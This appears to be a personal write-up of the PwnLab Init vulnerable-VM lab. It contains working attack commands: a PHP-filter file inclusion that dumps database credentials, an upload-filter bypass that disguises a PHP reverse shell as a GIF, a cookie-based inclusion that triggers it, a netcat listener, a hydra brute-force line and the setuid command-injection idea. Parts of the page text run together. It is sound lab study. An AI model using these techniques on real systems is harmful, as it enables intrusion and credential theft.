Table of Contents
The PWLab Init VM can be downloaded from: https://www.vulnhub.com/entry/pwnlab-init,158/.
The following ports were open.
port status Service
---- ------ -------
80 open HTTP - Apache/2.4.10 (Debian)
111 open RPC - rpcbind 2-4 (RPC #100000)
3306 open MYSQL - MySQL 5.5.47-0+deb8u1
Source code of index.php site:
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
</center>
</body>
</html>
ZAP' OR 1=1 -- SELECT * from users did not work.dirb http://192.168.25.139 revealed
the following directories:
403 permission denied message.?page parameter in the URL: http://192.168.25.139/index.php?page=loginform action
parameter is not set. According to https://www.w3schools.com/html/html_forms.asp the
form action parameter needs to have the form
<form action="/action_page.php"> for example./?page=index I
receive multiple index pages until the connection closes.
echo "GET /?page=index" | nc -v 192.168.25.139 80I read the site http://www.abatchy.com/2016/11/pwnlab-init-walkthrough-vulnhub since I did not have any more ideas.
Get the config.php page with:
curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=config" | grep "PD9" | base64 -d
Opening the config.php site, shows the username and password for the root account:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
grep PD9 equals <?p so
it will match the start of the base64 encoded string.<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>base64: invalid input
There is a LFI vulnerability for the
include("lang/".$_COOKIE['lang']); line.
Get the login.php page with:
curl "http://192.168.25.139/?page=php://filter/convert.base64-encode/resource=login" | grep "PD9" | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
$lpass variable is just base64
encoded.<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
Accessing the upload site with the user kent and the
password Sld6WHVCSkpOeQ is successful.
kent and password
Sld6WHVCSkpOeQ at http://192.168.25.139/?page=login is successful.The upload.php contains a number of checks to prevent us
from uploading a PHP reverse shell.
".jpg",".jpeg",".gif",".png", the .php file
extension is not allowed./ can not be in the
filename to prevent directory traversal.For the upload to work we have to trick the upload.php
file into thinking that our file is a valid image file. Renaming
php-reverse-shell.php into
php-reverse-shell.gif and adding the string
GIF87a at the head of the file did the trick. After that
the file can be uploaded with the user kent.
The local file inclusion (LFI) vulnerability in the
index.php script can be used to include the uploaded php
(fake gif) image file with the help of the following curl
command:
curl http://192.168.25.139/ --cookie "lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif" -v
After that we have a remote shell:
sudo nc -nvlp 443
[sudo] password for osc:
listening on [any] 443 ...
connect to [192.168.25.128] from (UNKNOWN) [192.168.25.139] 38068
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
11:18:49 up 1 day, 8:01, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Brute forcing the HTTP login with hydra was not
successful.
$ hydra 192.168.25.139 http-form-post "/login.php:user=^USER^&pass=^PASS^:Login failed" -l admin -P rockyou.txt -t 10 -w 30 -o hydra-http-post-attack.txt
The port is open for remote connections, tested it width
nc -v 192.168.25.139 3306. A remote connection with user
root is not possible.
k :: share/nmap/scripts » mysql -u root -h 192.168.25.139
ERROR 1045 (28000): Access denied for user 'root'@'192.168.25.128' (using password: NO)
Tested various nmap mysql scripts from
/usr/bin/share/nmap/mysql but all of them had an error in
the function mysq.receiveGreeting. That probably means, the
greeting string is not good.
Login with the password from the config.php file did
work.
$ mysql -u root -p -h 192.168.25.139
Enter password:
Welcome to the MariaDB.
Your MySQL connection id is 254619
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
MySQL [(none)]>
The database for the web applications is Users as seen
in the config.php file. The database Users has
a users table with the following entries:
MySQL [Users]> select * from Users.users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)
MySQL [Users]> SHOW COLUMNS FROM users FROM Users;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| user | varchar(30) | YES | | NULL | |
| pass | varchar(30) | YES | | NULL | |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
sudo nmap --script msrpc-enum.nse 192.168.25.139 -p 111
revealed no interesting results.sudo nmap --script msrpc-info.nse 192.168.25.139 -p 11
did not work.Enum4linux output:
enum4linux -d -U 192.168.25.139
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Dec 2 13:46:56 2017
==========================
| Target Information |
==========================
Target ........... 192.168.25.139
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
I read another walkthrought to find out how the privilege escalation
works out. In hindsight this was a mistake. I should really have to
spend more time to find out what to do. It comes down to the local
enumeration part. The passwords for the local users are in the MySQL
database and I should have tried them out locally. It seems that the
user kane has a local tool that can be used to send messages to the root
user (kent). This tool has the setuid property and runs with root
privileges. It can be used to spawn a new shell with the right message
containing ;.
ìndex.php file included a second
LFI vulnerability for the lang cookie that
could be exploited to execute a uploaded PHP reverse shell that did open
a connection to my local Kali machine.
includes is really dangerous.hydra can be used to guess passwords for web
applications as well.-d option, that really
shows allot of output.curl --cookie parameter is quite useful.mysql has the command show tables that can
be used to show what tables are in a database.